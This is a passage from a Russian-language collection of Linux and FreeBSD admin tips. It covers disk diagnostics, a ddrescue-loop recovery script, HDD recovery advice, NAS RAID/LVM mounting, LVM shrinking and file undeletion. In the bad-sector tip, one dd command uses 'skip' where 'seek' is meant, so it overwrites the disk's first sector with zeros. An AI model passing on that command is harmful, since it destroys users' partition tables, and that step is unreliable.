    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Cкрипт ddrescue-loop с функцией автоматической остановки/перезапуска диска на SATA порту (доп. ссылка 1)   Автор: gumanzoy  [комментарии]
     
    Cкрипт ddrescue-loop v0.1 с функцией автоматической остановки/перезапуска
    диска на SATA порту.
    
    Предназначен для упрощения процесса восстановления данных с неисправных SATA
    SSD. В случаях когда после ошибок чтения - SSD перестает возвращать данные и
    требует остановки/перезапуска.
    
    Для работы не требуется реле для отключения питания.
    Использует интерфейсы ядра udev /dev и sysfs /sys.
    
    Рекомендуется материнская плата с поддержкой AHCI.
    На платформах Intel начиная с Soc-1156 и на AMD AM4/AM5 нужно включать Hot Plug
    в UEFI BIOS Setup для каждого порта отдельно.
    На более старых AMD, но у которых в чипсете есть поддержка AHCI - сразу должно
    работать ничего специально включать не нужно.
    
       ddrescue-loop -ata N [-loop N] [-wait N] [-act N] outfile mapfile   [ddrescue options]
    
       ddrescue-loop -ata N -stop Остановить диск на SATA порту N
       ddrescue-loop -ata N -scan Cканировать SATA порт N
    
    Номер соответствует порту на мат.плате, но нумерация всегда начинается с 1, а
    не с 0 как на платах Gigabyte например. См. вывод dmesg
    
    Функция циклической остановки/перезапуска диска на SATA порту:
    
       -loop N Предельное число попыток N целое число. Указывать обязательно.
    
    Таймер ожидания остановки/перезапуска диска:
       -wait N Время в секундах. 10 по умолчанию.
    
    В конце после mapfile можно указать опции запуска ddrescue
    
    Код ddrescue-loop:
    
    #!/bin/sh
    #ddrescue-loop script writen by gumanzoy <gumanzoy@gmail.com>
    
    # Compatible only with Linux, not with other *nix!
    # Depends on udev /dev and sysfs /sys kernel interfaces
    # Requires SATA AHCI compatible motherboard
    # For all Intel and modern AMD platforms (AM4 and newer), check the UEFI Setup
    # SATA settings to ensure Port Hot Plug is enabled
    
    # [RU] forum thread. Обсуждение
    # https://forum.ixbt.com/topic.cgi?id=11:47589-31
    
    # /* This program is free software. It comes without any warranty, to
    # * the extent permitted by applicable law. You can redistribute it
    # * and/or modify it under the terms of the Do What The Fuck You Want
    # * To Public License, Version 2, as published by Sam Hocevar. See
    # * http://www.wtfpl.net/ for more details. */
    
    VERSION=0.1
    
    showhelp () {
    echo "ddrescue-loop v""$VERSION"" перезапускает процесс ddrescue в случае его завершения"
    echo "Внимание следует соблюдать очередность аргументов"
    echo "Указывать ключи в произвольном порядке нельзя!"
    echo "Числовые значения аргументов обязательно через пробел"
    echo -n "\n"
    echo "# Остановить/запустить диск на SATA порту:"
    echo "-ata <n> -stop""		""остановить диск на SATA порту <n>"
    echo "-ata <n> -scan""		""сканировать SATA порт <n>"
    echo -n "\n"
    echo "# Запустить восстановление:"
    echo "ddrescue-loop -ata <n> [-loop <n>] [-wait <n>] [-act <n>] outfile mapfile [ddrescue options]"
    echo -n "\n"
    echo "# Укажите номер SATA порта к которому подключен диск источник:"
    echo -n "-ata <n>""		""Номер SATA порта <n> цифра (смотрите вывод dmesg)"
    echo -n "\n""			""#: "; ls /sys/class/ata_port
    echo -n "\n"
    echo "# Функция циклической остановки/перезапуска диска на SATA порту:"
    echo "-loop <n>""		""<n> предельное число попыток"
    echo -n "\n"
    echo "# Таймер ожидания остановки/перезапуска диска:"
    echo "-wait <n>""		""Время в секундах <n> [10]"
    echo -n "\n"
    echo "# Переопределить таймаут ожидания исполнения ATA команд:"
    echo "-act <n>""		""Время в секундах <n> [1..30]"
    echo -n "\n"
    echo "# Основные:"
    echo "outfile""			""Устройство приемник данных / файл образа"
    echo "mapfile""			""ddrescue map/log файл (обязательно)"
    echo -n "\n"
    echo "# В конце после mapfile можно указать опции запуска ddrescue через пробел"
    echo "# Поддержка зависит от версии. Полный список опций в мануале. Важные:"
    echo "-P [<lines>]""		""Предпросмотр данных [число строк] по умолчанию 3"
    echo "-b 4096""			""Размер сектора (физического блока) [default 512]"
    echo "-O"" #Рекомендую!		""После каждой ошибки заново открывать файл устройства"
    echo "-J"" #Опционален		""При ошибке перечитать последний не сбойный сектор"
    echo "-r <n> #ИЛИ -r -1""	""<n> число повторных проходов до перехода к trim"
    echo "-m <domain.mapfile>""	""Ограничить область чтения доменом <file> ddru_ntfsbitmap"
    }
    
    get_ata_host () {
    until SCSIHOST=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/scsi_host/host?/` \
    && test -d "$SCSIHOST"; do sleep 1; done
    }
    
    get_ata_target () {
    until SYSFSTGT=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/target?:?:?/?:?:?:?/` \
    && test -d "$SYSFSTGT"; do sleep 1; done
    }
    
    get_ata_dev () {
    until INDEV=`readlink -f /dev/disk/by-path/pci-*-ata-"$1"` \
    && test -b "$INDEV"; do sleep 1; done
    }
    
    if [ "$1" = "-h" -o "$1" = "--help" ]; then showhelp
    exit; fi
    
    if [ "`whoami`" != "root" ]; then
    echo Exit. This script should be run as root !
    exit 1; fi
    
    if [ -n "$1" ] && [ "$1" = "-ata" ]; then
    if [ -n "$2" ] && test -d /sys/class/ata_port/ata"$2"; then
    SATAP="$2"; get_ata_host "$SATAP"; shift; shift
    else echo -n "Please enter correct port number: "; ls /sys/class/ata_port; exit 1; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-loop" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    DDLOOP="$2"; shift; shift; fi
    else DDLOOP=0
    fi
    
    if [ -n "$1" ] && [ "$1" = "-wait" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 ]; then
    LOOPWAIT="$2"; shift; shift; fi
    else LOOPWAIT=10
    fi
    
    if [ -n "$1" ] && [ "$1" = "-act" ]; then
    if [ -n "$2" ] && [ "$2" -gt 0 -a "$2" -lt 30 ]; then
    ATACMDT="$2"; shift; shift; fi
    fi
    
    if [ -n "$1" ] && [ "$1" = "-stop" ] && [ -n "$SATAP" ]; then
    get_ata_target "$SATAP"
    while test -f "$SYSFSTGT"/delete; do echo 1 > "$SYSFSTGT"/delete; sleep 1; done
    exit; fi
    
    if [ -n "$1" ] && [ "$1" = "-scan" ] && [ -n "$SATAP" ]; then
    echo '0 0 0' > "$SCSIHOST"/scan; exit; fi
    
    if [ -z "$SATAP" ]; then showhelp
    exit; fi
    
    OUTFILE="$1"; shift
    MAPFILE="$1"; shift
    DDOPTS="$@"
    
    DONE=X
    LOOPCOUNT=0
    
    until [ "$DONE" = 0 ]; do
    get_ata_target "$SATAP"; get_ata_dev "$SATAP"
    if [ -n "$ATACMDT" ]; then echo "$ATACMDT" > "$SYSFSTGT"/timeout
    fi
    echo ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" "$DDOPTS"
    ddrescue "-fd" "$INDEV" "$OUTFILE" "$MAPFILE" $DDOPTS
    DONE="$?"
    if [ "$DONE" != 0 ] && [ "$DDLOOP" -gt 0 ]; then
    sleep "$LOOPWAIT"
    while test -d "$SYSFSTGT"; do echo 1 > "$SYSFSTGT"/delete
    sleep "$LOOPWAIT"; done
    sleep "$LOOPWAIT" && echo '0 0 0' > "$SCSIHOST"/scan
    DDLOOP=$(($DDLOOP-1))
    LOOPCOUNT=$(($LOOPCOUNT+1))
    echo "\n\033[1mDDLOOP" "#""$LOOPCOUNT"
    tput sgr0
    date
    echo -n "\n"
    else DONE=0
    fi
    done
    
     
    ----* Рекомендации по восстановлению данных со сбойного накопителя (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    USB флехи и SSD предмет простой: или прочиталось или нет. Шансов что при
    повторной попытке не читавшийся сектор прочитается - мало. Если заряд в флехе
    утек, то утек. Если там что-то более системное, слет таблиц трансляции, кончина
    (фирмвари) контроллера и прочее - ddrescue опять же не поможет. Это или
    спецутилиты под конкретный контроллер или подпайка к NAND и вычитывание на
    программаторе. Сам не сделаешь с такими вопросами.
    
    HDD - интереснее, механика мрет разнообразно. Довольно часто с цатой попытки
    чтение нестабильного сектора все же проскакивает. Если наивно монтировать диск
    средствами ОС, ядро наткнувшись на read error быстро сдастся, файлов не
    получишь, если не прочиталось по быстрому что-то важное типа суперблока, таблиц
    разделов и проч. А если построить образ за несколько проходов - может выйти
    довольно живым, монтируемым и с доступными файлами, плюс-минус то, что не
    прочиталось совсем.
    
    
    Идея такая, что проходов чтения несколько:
    
    1) Параметры 1-го прохода - при ошибке чтения пропускаем большой кусок, чтобы
    физически проблемную область обойти. Активное тормошение сбойной области может
    добить нестабильную механику или вызвать фатальные глюки прошивки диска. Будет
    у тебя половинка образа - потеряешь как дурак большинство файлов.
    
    2) Когда образ из 1) готов, дочитываем более дотошно, с повторными попытками и
    прочими камасутрами, например реверс направления чтения или что еще, в надежде
    что чтение все же проскочит. Количество "уточняющих" проходов - пока не
    задолбаешься, или пока не перестанут вычитываться сектора. Или как вариант
    пациент может умереть на очередной итерации, но это уже не важно, образ уже
    достаточно хороший, это была минимизация потерь. Насколько получится - столько
    и будет. Чем больше тем лучше, но HDD может решить иначе. Если не идиотничать,
    получишь большинство файлов в целости и сохранности.
    
    Некоторые моменты:
    
    1) Читать имеет смысл по размеру блока ECC. У старых жестких дисков 512 байтов.
    У новых ("advanced format") - 4096 байтов. Чем меньше блок тем медленнее
    чтение. Прочлось-не прочлось индивидуально для ECC-блока ("hardware sector").
    Необоснованно крупные блоки увеличивают потери данных. Если читать блоком
    мегабайт - даже если не прочтётся 1 сектор, чтение завалится для всего
    мегабайта и потеряется целиком. А если это 512 байтов сектора и не прочелся 1
    сектор а остальные ок - мы получим почти мегабайит данных, кроме 1 сектора.
    Разница однако. Особенно если это партишн или суперблок, без которых так сходу
    ФС вообще не смонтируется.
    
    2) При желании этим заниматься неплохо бы узнать кто такие UNC, IDNF, defect
    lists, атрибуты smart и проч, чтобы хотя-бы примерно понимать на что нарвался и
    перспективы (pending sectors, ...). Неплохо бы понимать логи/битмап чтения
    используемой софтины. По крайней мере чтобы не напортачить. Например если при
    разных попытках использовать разные размеры блока - есть риск ушатать образ,
    когда утилита читанет очередные сектора в неправильное смещение образа, считая
    не тот размер блока который реально был. Do not use force, try to think, Luke.
    
    3) В тяжелых случаях может потребоваться подкрутить таймауты ядра на link
    reset, число попыток и все такое прочее. Иначе ядро разочаруется в HDD и
    потеряет его. "Насовсем" - до ребута. Но это лечится - можно вручную
    пересканировать и найти пропавший жесткий диск.
    
    4) Перезагружать и особенно выключать компьютер с нестабильным жестким диском -
    худшая идея на свете. Если жесткий диск не стартанет - облом стопроцентный,
    после этого данные сможет вынуть только серьезный специалист. Необдуманный
    ресет может облегчить кошелек на очень круглую сумму. Если жесткий диск все-же
    потерялся, как в 3) - гуглишь как вызвать рескан жестких дисков, изучаешь /sys
    и заново ресканишь свой жесткий диск. Через минутку-другую после отвала.
    Фирмварь в это время может вкалывать пытаясь ремапнуть проблемный сектор, ядро
    же думает что жесткий диск повис и пытается link reset устроить. Фирмвара может
    думать довольно крепко, не ответит даже на IDENTIFY пока не закончит. В этом
    случае ядро очень огорчается и считает девайс мертвым. Так что подождать
    немного до того как ресканить. Никаких ребутов и выключений питания - после них
    жесткий диск может не запуститься совсем.
    
    5) Если бэдов всего несколько штук, можно записать в них что-нибудь, жесткий
    диск проверит читается ли это и если нет - переназначит на резервные. Но это
    имеет смысл только если бэдов не больше 3-5 штук. Со стукнутым жестким диском
    это или самообман или скрытые грабли для тех кому его всучишь, разрушения на
    этом не закончатся, по мере разлета пыли бэдов станет больше.
    
    6) Если порушено много - осторожно! После того как у жесткого диска закончится
    grown defect list (таблица ремапа, типично жесткий диск может перенести
    2000-4000 проблемных секторов) - может случиться все что угодно. WD уходят в
    что-то типа safe mode, считая девайс слишком дохлым, и обычными способами уже
    ничего не получишь. ATA командами "read sector" - читается. Но вот всякие NCQ и
    READ MULTI отваливаются, ядро так с наскока получает от ворот поворот и видит
    сплошные read error. Наверное можно переубедить, заставив забить на NCQ и
    читать по 1 сектору, но - лучше не нарываться.
    
     
    ----* Как подключить в Ubuntu диски Seagate Business NAS и восстановить данные   Автор: redwire  [комментарии]
     
    Данное пошаговое руководство содержит мои попытки подключить диски с вышедшего
    из строя сигейтовского хранилища к Ubuntu и восстановить файлы с русскими
    именами в UTF-8. В итоге все успешно получилось.
    Некоторые шаги не нужны и просто приведены чтобы показать ход мыслей и ошибочные результаты
    
    1) 
        gparted
        sd1-sd10
        lagest 930GB - our data partition
    
        ll /dev/sd*
    
    2) 
        sudo mount /dev/sdb10 /mnt
        mount: unknown filesystem type 'linux_raid_member'
    
    3) 
        sudo apt-get install mdadm
    
    4) 
        sudo mdadm --examine /dev/sdb10
        /dev/sdb10:
              Magic : a92b4efc
            Version : 1.2
        Feature Map : 0x0
         Array UUID : 9be48378:c6e35f3c:a878f234:39d645f4
               Name : Depository-NC:8
        Creation Time : Mon Jan  5 16:25:19 2015
    
    5) 
        sudo mdadm -A -R /dev/md/10 /dev/sdb10
        mdadm: /dev/md/10 has been started with 1 drive (out of 2).
    
    6) 
        sudo fdisk /dev/md/10
        /dev/md/10: device contains a valid 'LVM2_member' signature; it is 
        strongly recommended to wipe the device with wipefs(8) if this is 
        unexpected, in order to avoid possible collisions
    
        Устройство не содержит опознаваемой таблицы разделов.
        Created a new DOS disklabel with disk identifier 0xd3a790df.
    
    7) 
        sudo apt-get install lvm2
    
    8) 
        sudo vgscan
    
       Found volume group "vg8" using metadata type lvm2
    
    9) 
        sudo vgchange -ay vg8
    
        /run/lvm/lvmetad.socket: connect failed: Нет такого файла или каталога
        WARNING: Failed to connect to lvmetad. Falling back to internal scanning.
         1 logical volume(s) in volume group "vg8" now active
    
    10) 
        sudo lvs
    
        lv8  vg8  -wi-a----- 927,45g   
    
    11) 
        sudo mount /dev/vg8/lv8 /mnt/ -o ro,user
    
        mount: wrong fs type, bad option, bad superblock on /dev/mapper/vg8-lv8,
           missing codepage or helper program, or other error
    
    12) 
        sudo apt-get install fuseext2
        sudo fuseext2 -o ro -o allow_other /dev/mapper/vg8-lv8 /mnt
        fuse-umfuse-ext2: mounting read-only [main (fuse-ext2.c:378)]
    
    13) 
        cp /mnt/files /media/restoredir -r -v
    
    
    Ссылки на статьи, которые оказались полезными при восстановлении:
    
    * http://admin-to-admin.info/blog/montiruem-disk-iz-nas-ili-kak-smontirovat-raid-razdel-v-linux/
    * https://lorenzoferrara.net/blog/how-to-mount-a-raid-1-volume-from-seagate-blackarmor-nas.html
    * https://community.spiceworks.com/topic/561997-seagate-2-bay-nas-device-failed-trying-to-recover-data-from-one-of-the-drives
    * https://myanwyn.blogspot.ru/2014/08/how-to-recover-seagate-central-data.html
    
     
    ----* Выполнение команды с отключением кеширования операций с файловой системой в Linux (доп. ссылка 1)   [комментарии]
     
    В некоторых ситуациях необходимо выполнить операцию без влияния на кэш файловой
    системы, например, скопировать данные без их попадания в кэш. Для отключения
    кэша на уровне отдельных команд можно использовать утилиту nocache,
    перехватывающую вызовы open и close, и выполняя принудительно системый вызов
    posix_fadvise c параметром POSIX_FADV_DONTNEED.
    
    В качестве одной из областей использования доступа к  ФС c отключением
    кэширования можно отметить выполнение резервного копирования без влияния на
    содержимое кэша - в обычных условиях копирование большого числа файлов вытеснит
    часть других данных из кэша, при этом заранее известно, что новые данные точно
    не будут востребованы в ближайшее время. Избежать оседания данных в кэше при
    копировании можно выполнив следующую команду:
    
       ./nocache cp -a ~/ /mnt/backup/home-$(hostname)
    
    Другим применением может быть проведение тестов с исключением влияния кэша ФС.
    
     
    ----* Выявление нагружающих дисковую подсистему процессов в Linux   Автор: Yuriy Kulikov  [комментарии]
     
    В Centos 5.x нет нормальной поддержки iotop, без которого трудно понять, какой
    процесс больше всего грузит дисковую систему.
    Но можно использовать скрипт disktop.stp, написанный для подсистемы
    динамической трассировки SystemTap.
    
    Чтобы запустить disktop в CentOS нужно:
    Установить пакеты 
       kernel-debuginfo-`uname -r`
       kernel-debuginfo-common-`uname -r` 
    (скачать можно здесь http://debuginfo.centos.org/5/
    
    Установить пакет kernel-devel-`uname -r`
    
    Установить systemtap:
       yum install systemtap
    
    Запуcтить disktop:
       stap disktop.stp
    
    Пример работы:
    
       # stap disktop.stp
       Wed Nov 24 16:16:20 2010 , Average: 351Kb/sec, Read: 1680Kb, Write: 76Kb
    
       UID    PID     PPID          CMD     DEVICE    T        BYTES
       102    16196    29589        nginx     sda3    R       539535
        48    29429    26950        httpd     sda3    R       161992
        48    29427    26950        httpd     sda3    R       141730
        48    20089    26950        httpd     sda3    R       100256
        102    16196    29589       nginx     sda3    W        57253
    
     
    ----* Пропуск выполнения e2fsck при загрузке, через нажатие CTRL-C (доп. ссылка 1) (доп. ссылка 2)   Автор: Minoru  [комментарии]
     
    Согласно закону Мерфи, проверка fsck, происходящая каждые N загрузок, всегда
    случается в самое неподходящее время. По умолчанию, прерывание проверки с
    помощью CTRL-C заставляет fsck возвращать код ошибки, что приводит к
    перемонтированию файловой системы в режиме "только чтение".
    
    Но это легко меняется правкой /etc/e2fsck.conf:
    
       [options]
       allow_cancellation = true
    
     
    ----* Удаление физического раздела из LVM (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Монитор системы в Ubuntu 9.10 показал наличие проблемы с одним диском
    (/dev/sdb), который включён в LVM.
    
    Пришлось исключить этот диск из LVM вот таким образом, все операции опасны и выполняются под root.
    
       1. Сначала нужно определить на сколько следует уменьшить LVM
       2. Затем преобразовать файловую систему EXT3 в EXT2, и уменьшить
       3. Удалить физический том и извлечь его из VG
       4. Расширить LVM и EXT2 до предела
       5. Восстановить EXT3
    
    Обязательно необходимо соблюдать последовательность выполнения операций
    
       pvs
    
       PV         VG      Fmt  Attr PSize   PFree
       /dev/sda5  mediavg lvm2 a-     6,24G    0 
       /dev/sda6  mediavg lvm2 a-    48,30G    0 
       /dev/sdb2  linux   lvm2 a-    32,49G 5,86G
       /dev/sdb5  media   lvm2 a-   200,20G    0 
       /dev/sdc1  media   lvm2 a-   596,17G    0
    
    Видно, что LVM на media нужно уменьшить на более чем 200Gb, иначе не удасться извлечь /dev/sdb5
    
       vgs
    
       VG      #PV #LV #SN Attr   VSize   VFree
       linux     1   2   0 wz--n-  32,49G 5,86G
       media     2   1   0 wz--n- 796,36G    0 
       mediavg   2   1   0 wz--n-  54,54G    0
    
       lvs
    
       LV     VG      Attr   LSize   Origin Snap%  Move Log Copy% 
       ubuntu linux   -wi-a-   6,63G                              
       var    linux   -wi-ao  20,00G                              
       media4 media   -wi-a- 796,36G                              
       home   mediavg -wi-ao  54,54G
    
    Первым делам нужно преобразовать EXT3 в EXT2 иначе resize2fs не сможет её
    правильно уменьшить - удаляем журнал транзакций
    
       tune2fs -O ^has_journal /dev/media/media4
       fsck -n  /dev/media/media4
    
    Уменьшаем EXT2, эта операция длительная, требует отмонтирования и для неё
    необходимо достаточно свободного места
    
       resize2fs /dev/media/media4 590G
    
    Если не удаётся отмонтировать то можно найти программу которая использует этот раздел вот так
    
       lsof -n|grep media
    
    После уменьшения EXT2 необходима длительная проверка с помощью
    
       e2fsck -f /dev/media/media4
    
    Затем уменьшаем LVM
    
       lvreduce -L-205G  /dev/media/media4
    
    На предупреждение приходится отвечать Y
    
       lvs
    
       LV     VG      Attr   LSize   Origin Snap%  Move Log Copy% 
       ubuntu linux   -wi-a-   6,63G                              
       var    linux   -wi-ao  20,00G                              
       media4 media   -wi-a- 591,36G                              
       home   mediavg -wi-ao  54,54G
    
       vgs
    
       VG      #PV #LV #SN Attr   VSize   VFree  
       linux     1   2   0 wz--n-  32,49G   5,86G
       media     2   1   0 wz--n- 796,36G 205,00G
       mediavg   2   1   0 wz--n-  54,54G      0
    
    Выводим его из vg
    
       vgreduce media /dev/sdb5
    
    и если необходимо выводим физический раздел
    
       pvmove /dev/sdb5
    
    В случае, если EXT2 не уместилась на одном PV эти команды не сработают и
    придётся ещё раз уменьшать EXT2
    
    Теперь осталось расширить LVM и EXT2 и конвертировать в EXT3
    
       lvextend -l +100%FREE  /dev/media/media4
       resize2fs /dev/media/media4
       tune2fs -j /dev/media/media4
    
     
    ----* Решение проблем с удалением файлов гигантского размера в Linux (доп. ссылка 1)   [комментарии]
     
    Попытка удаления файла, имеющего размер порядка 7 Тб, приводит к зависанию Linux сервера 
    с ФС ext4 или reiser на несколько часов.
    
    Решение: проблема исчезает при использовании файловой системы XFS.
    
     
    ----* Быстрое тестирование производительности диска во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для быстрой оценки характеристик диска, а также получения сведений о скорости передачи данных 
    и времени позиционирования головок во FreeBSD можно использовать утилиту diskinfo:
    
       diskinfo -t /dev/aacd0
       diskinfo -c /dev/aacd0
    
    Для более детального анализа производительности можно использовать порт
    /usr/ports/benchmarks/bonnie++
    
     
    ----* Как быстро восстановить в Linux удаленный, но еще открытый файл   [комментарии]
     
    Если файл был случайно удален, но он еще открыт на чтение в какой-либо программе
    (например, проигрывается в медиа-плеере), то его легко восстановить из
    файлового дескриптора в ФС /proc
    
    Предположим мы случайно удалили файл 1.mp3, который еще проигрывается в mplayer.
    Ищем PID процесса mplayer
    
       ps -auxwww|grep mplayer
    
       gosha  17314  3.2  0.4  38680  8908 pts/3  SL+ 00:45 0:00 mplayer 1.mp3
    
    Переходим в директорию с параметрами процесса 17314 в /proc:
       
       cd /proc/17314 
    
    Открытые файловые дескрипторы перечислены в директории fd (/proc/17314/fd).
    
       cd fd
       ls -al
     
    В выводе видим дескриптор номер 4 с признаком deleted
       lr-x------ 1 gosha gosha 64 2009-02-27 00:48 4 -> /home/gosha/1.mp3 (deleted)
    
    Копируем его и получаем восстановленный файл:
       
       cp 4 /home/gosha/1.mp3
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Восстановление файлов, удаленных с Linux (ext3) и FreeBSD разделов (доп. ссылка 1)   [комментарии]
     
    Самый простой вариант - использование универсальной утилиты TestDisk (http://www.cgsecurity.org/wiki/TestDisk,
    /usr/ports/sysutils/testdisk) поддерживающей множество файловых систем, 
    например, ext2, ext3, ufs, fat, NTFS. Кроме восстановления файлов TestDisk позволяет 
    находить и восстанавливать содержимое удаленных дисковых разделов.
    
    Для восстановления группы удаленных файлов по их типу (например, фотографии) 
    можно воспользоваться программой PhotoRec (http://www.cgsecurity.org/wiki/PhotoRec).
    
    Обе утилиты TestDisk и PhotoRec работают в интерактивном режиме, постепенно
    уточняя параметры восстановления.
    Достаточно, отмонтировать раздел с которого собираемся восстанавливать файлы,
    выполнить "testdisk" и выбрать требуемые варианты восстановления.
    
    Демонстрация процесса восстановления представлена в скриншот-обзорах:
     http://www.cgsecurity.org/wiki/TestDisk:_undelete_file_for_ext2
     http://www.cgsecurity.org/wiki/TestDisk_Step_By_Step
    
    
    
    Второй вариант, более подходит для обладателей файловой системы Ext3 и связан с
    использованием утилиты ext3grep.
    
    Устанавливаем ext3grep (http://code.google.com/p/ext3grep/) или лучше
    загружаемся с LiveCD на котором присутствует данная утилита,
    например,  PartedMagic (http://partedmagic.com/) занимающий около 50 Мб.
    
    Предположим случайно были удалены файлы в директории /home/test/db, находящейся
    на ext3 разделе /dev/sda6.
    Чем быстрее мы попытаемся их восстановить, тем выше вероятность успеха.
    Убедимся что раздел /dev/sda6 не примонтирован. Переходим в директорию 
    доступную на запись и имеющую достаточно свободного места для помещения восстановленных файлов.
    
    Для восстановление файла /home/test/db/test.txt выполняем
    
       ext3grep /dev/sda6 --restore-file test/db/test.txt
    
    Для восстановления директории 
    
       ext3grep /dev/sda6 --restore-file test/db
    
    Результаты восстановления будут помещены в каталог RESTORED_FILES,
    который будет создан утилитой ext3grep в текущей директории.
    
    Посмотреть все найденные имена файлов можно командой 
    
       ext3grep /dev/sda6 --dump-names
    
    Для восстановления всех файлов удаленных с момента времени 1202351117:
    
       ext3grep /dev/sda6 --restore-all --after=1202351117
    
    Если с момента удаления прошло 30 мин, эпохальное время можно посмотреть например так:
       
       perl -e 'print time()-30*60';
    
     
    ----* Как избавиться от нечитаемых секторов на диске   [комментарии]
     
    В логе smartd появились подобные свидетельства наличия нечитаемых секторов на диске:
    
       smartd[798]: Device: /dev/ad5, 15 Currently unreadable (pending) sectors
       smartd[798]: Device: /dev/ad5, 15 Offline uncorrectable sectors
    
    SMART тестирование подтвердило подозрения:
    
       Запускаем фоновый тест диска, не мешающий основной работе:
          smartctl -t long /dev/ad5
       Ждем завершения периодически просматривая статус:
          smartctl -l selftest /dev/ad5
       В итоге смотрим содержимое лога, в самом конце вывода:
          smartctl -a /dev/ad5
       Имеем:
       # 1  Extended offline  Completed: read failure  90% 2916 10373954
    
    Выявляем полный список сбойных секторов, путем чтения всех данных с диска:
    
       dd if=/dev/ad5 of=/dev/null bs=512 conv=noerror,sync
    
    В один прекрасный момент появятся надписи вида:
    
       dd: /dev/ad5: Input/output error
       10373954+0 records in
       10373954+0 records out
       5311464448 bytes transferred in 2427.397393 secs (2188131 bytes/sec)
    
    В системном логе увидим:
    
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left)  LBA=10373954
       kernel: ad5: TIMEOUT - READ_DMA retrying (0 retries left) LBA=10373954
       ....
       kernel: ad5: FAILURE - READ_DMA timed out LBA=10374109
       kernel: ad5: TIMEOUT - READ_DMA retrying (1 retry left) LBA=10374113
    
    Проверяем, каждый участок еще раз:
    
       dd if=/dev/ad5 of=/dev/null bs=512 count=1 skip=10373954 conv=noerror,sync
    
    Смотрим какой файл в ФС подпадает под этот блок.
    
    Смотрим и примерно вычисляем номер раздела на который приходится сбойный сектор (LBA 10373954):
    
       fdisk -s /dev/ad5
    
       /dev/ad5: 775221 cyl 16 hd 63 sec
       Part        Start        Size Type Flags
       1:          63   398444067 0xa5 0x80
       2:   398444130   382973535 0xa5 0x80
    
    10373954 - 63 = 10373891
    
       disklabel /dev/ad5s1
    
       # /dev/ad5s1:
       8 partitions:
       #        size   offset    fstype   [fsize bsize bps/cpg]
         a:  2097152        0    4.2BSD     2048 16384 28552 
         b:  4194304  2097152      swap                    
         c: 398444067        0    unused    0  0 # "raw" part
         d:  2097152  6291456    4.2BSD     2048 16384 28552 
         e: 10485760  8388608    4.2BSD     2048 16384 28552 
         f: 104857600 18874368    4.2BSD     2048 16384 28552 
         g: 104857600 123731968    4.2BSD     2048 16384 28552 
         h: 162127234 228589568    4.2BSD     2048 16384 28552 
    
    Видим, что 10373891 приходится на раздел /dev/ad5s1e
    Расчитываем смещение относительно начала раздела:
    10373891 - 8388608 = 1985283
    
    Находим иноду, которой принадлежит заданный блок:
       fsdb -r /dev/ad5s1e
       findblk 1985283
    
    повторяем для каждого сбойного сектора 
    (для Linux нужно использовать debugfs - http://smartmontools.sourceforge.net/BadBlockHowTo.txt)
    
    Пытаемся записать данные в сбойный сектор, чтобы инициировать процесс
    ремапинга на диске.
    
        sysctl kern.geom.debugflags=16 # иначе будет dd: /dev/ad5: Operation not permitted)
        dd if=/dev/zero of=/dev/ad5 bs=512 count=1 skip=10373954 conv=noerror,sync
        sysctl kern.geom.debugflags=0
    
    Если после записи сектор начал читаться - все ok, 
    
    если нет - резервная область на диске уже заполнена, пробуем запретить
    обращещние окружающих секторов в ФС:
    
       man badsect
    
      /dev/ad5s1e примонтирован как /usr, создаем директорию /usr/BAD и выполняем
      badsect /usr/BAD 1985283
      fsck -y /dev/ad5s1e
    
    Полезные порты:
